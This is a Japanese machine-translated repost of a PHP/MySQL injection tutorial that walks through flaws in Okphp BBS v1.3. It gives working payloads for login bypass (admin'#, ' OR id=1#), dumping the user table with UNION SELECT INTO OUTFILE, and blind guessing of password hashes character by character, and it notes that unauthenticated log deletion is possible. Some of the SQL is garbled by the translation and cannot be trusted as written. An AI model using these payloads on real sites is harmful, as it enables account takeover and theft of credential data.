ホームページ > php教程 > php手册 > PHP 攻撃手法についての話 PHP mysql インジェクション ステートメントの構築

PHP 攻撃手法についての話 PHP mysql インジェクション ステートメントの構築

WBOY
リリース: 2016-06-13 12:21:12
オリジナル
852 人が閲覧しました

1. 前書き:
バージョン情報: Okphp BBS v1.3 オープン ソース バージョン

PHP と MYSQL 自体のせいで、PHP MYSQL インジェクションは ASP よりも難しく、特にインジェクション中のステートメントの構築が困難です。この記事は、主に Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して、php mysql インジェクション ステートメントの構築方法について説明します。この記事があなたのお役に立てば幸いです。
声明: 記事で言及されているすべての「脆弱性」はテストされておらず、まったく存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。
2. 「脆弱性」分析:
1.admin/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:

コードをコピー コードは次のとおりです。


$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password); $q = "username='$username'、password='$password' の $user_table から id,group_id を選択します";
$res = sql_query($q,$conn)
$row = sql_fetch_row( $res );
$q = "username='$username' とpassword='$password' の $user_table から id,group_id を選択します"

$username と $password はフィルタリングされません、非常に簡単にバイパスできます。

select * from $user_table where username='$username' およびpassword='$password' などのステートメントを変更するメソッドは次のとおりです:
構築 1 (論理演算を使用): $username=' OR ' a'='a $password=' OR 'a'='a
SQL ステートメントと同等:
select * from $user_table where username='' OR 'a'='a' and passwd=' ' OR 'a'='a'
構造 2 (mysql のコメント ステートメント #、/* を使用して $password をコメント アウトします): $username=admin'#(または admin'/*)
つまり:
Select * from $user_table where username='admin'#' and passwd='$password'"
以下と同等:
select * from $user_table where username='admin'
in admin/ login.php の $q ステートメントの $password はクエリの前に md5 暗号化されるため、構造 1 のステートメントによってバイパスすることはできません。ここでは構造 2 を使用します:
select id,group_id from $user_table where username=' admin'#' およびpassword='$password'"
以下と同等です:
select id,group_id from $user_table where username='admin'
これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名がわからない場合は、対応する ID のみがわかります。
次のように構築できます: $username=' OR id=1#
以下と同等:
select id,group_id from $user_table where username='' または id =1# およびpassword='$password' (# 以降はコメントアウトされています)
次に、コードを確認します。

コードをコピーします。 コードは次のとおりです。

if ($row[0]) {
// 管理者またはスーパーモデレータでない場合
if ($username != "admin" && !eregi("(^| &)3($|&)",$row[1])) {
$login = 0
}
else {
$ login = 1;
}
}
// ログイン失敗---------------
if (!$login) {
write_log( "モデレータログイン","0","パスワードが間違っています");
echo " ";
}
// アクセス ! ---
else {
session_start();


最終的には、$login=1 を IE 経由で直接送信するだけで済みます。それをバイパスします:)。

2. Users/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:


コードをコピー コードは次のとおりです:

$md5password = md5($password);

$q = "username='$username'、password='$md5password' の $user_table から id、group_id、email を選択します"; >$ res = sql_query($q,$conn);
$row = sql_fetch_row($res);


$username がフィルタリングされていない場合は、1 とpassword= と同じコメントを使用します。 '$md5password'" ;

3. adminloglist.php には任意の削除ログ レコードの脆弱性があります (追記: これは php mysql インジェクションとは関係ないようですが、言及しておきます)
バックエンドokphp の記述は非常にいい加減に書かれているようで、すべてのファイルが管理者がログインしているかどうかを判断せず、任意にアクセスできるようになっています。 list.php のコードを見てみましょう:



コードをコピーします

コードは次のとおりです:


$arr = array("del_log","log_id","del_id");
get_r($arr)
//
if ($del_log) {
省略...
if ($log_id) {
foreach ($log_id as $val) {
$q = "id='$val' の $log_table から削除します"; = sql_query($q,$conn);
if ($res) {
$i;
}
}
elseif ($del_id) {
$ q = "id='$del_id' の $log_table から削除";
$res = sql_query($q,$conn)
}
$tpl->setVariable( "メッセージ"," $i log deleteed ok!");
$tpl->setVariable("action","index.php?action=list_log");
}


コードは単純ですget_r($arr); を使用して、送信されたパラメータを決定します。必要なのは、対応する $del_log、$log_id、$del_id だけです。削除は成功します。

4. 複数のファイルは変数をフィルター処理しないため、SQL インジェクションの脆弱性が発生します。
okphp の作者はフィルタリングが好きではないようです :)。基本的に、SQL ステートメント内のすべての変数は「裸」です。特定のファイルはリストしません。コードを読んでください。forumslist_threads.php を例として簡単に説明します。
list_threads.php のコードを見てください:


コードをコピーします コードは次のとおりです:

$q = "id='$forum_id' の $type_table から name,belong_id ,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num を選択します。"; $res = sql_query($q,$conn) ;

$row = sql_fetch_row($res);


mysql はサブクエリをサポートしていないため、変数 $forum_id はフィルタリングされません (MySQL バージョンが必要です)。 4.00 以降) クロスデータベース操作を実現するには、次のように構築します:
構築 1: SELECT * FROM table INTO OUTFILE '/path/file.txt' を使用します (mysql にはファイル権限が必要です。注意してください) Win システムでは絶対パスが必要であること ( c://path/ /file.txt など)。クエリされたコンテンツを file.txt に入力すると、http://ip/path/file.txt を通じてクエリ結果にアクセスできます。上記のように $forum_id を構築できます:

$forum_id=' Union select * from user_table into outfile '/path/file.txt'
以下:
$q = "select name,belong_id,moderator 、protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' Union select * from user_table into outfile '/path/file.txt'";
上記のメソッドには次のものが必要です厳密な比較では、Web へのパスを取得する必要があります (通常、間違った変数を送信して mysql にエラーを報告させることで取得できます)。PHP の magic_gpc=on オプションにより、インジェクションに一重引用符が表示されなくなります。 magic_gpc=on の場合、以下をバイパスすることもできます。
構築 2: ASP クロスデータベース クエリと同様に、union select を直接使用してステートメントを構築し、返される結果が異なるようにして解決策を推測します。 このメソッドは一重引用符をバイパスできます。 (magic_gpc= on) と注入を続行しますが、この注入は特定のコードによっては PHP では比較的困難です。具体的なステートメントの構築については、pinkeyes の記事「php インジェクションの例」を参照してください。以下に、okphp に基づいて「異なる戻り結果」インジェクションを使用する例を示します (脆弱性 5 を参照)。
5.admin/login.php と users/login.php は、SQL ステートメントの構造を通じて、指定されたユーザー パスワードのハッシュを取得するために推測できます: (実際には、これは脆弱性 1 と 2 と同じです。別々に取り出します)ここでは主に構築方法を説明します。)
問題のコードは脆弱性 1 と同じです。
ステートメントの構造 (追記: ステートメント自体はユーザー ライブラリを操作するためのものであるため、union を使用する必要はありません):
$username=admin' AND LENGTH(password)=6#
SQL ステートメントは次のようになります:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
以下と同等:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
LENGTH(password)=6 が true の場合は、true でない場合は正常に戻ります。 、mysql はエラーを報告します。
このようにして、ユーザーの管理者パスワードのハッシュを推測できます。例: $username=admin' ord(substring(password,1,1))=57#
ユーザーのパスワードの最初の桁の ASCII コード値を推測できます....

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート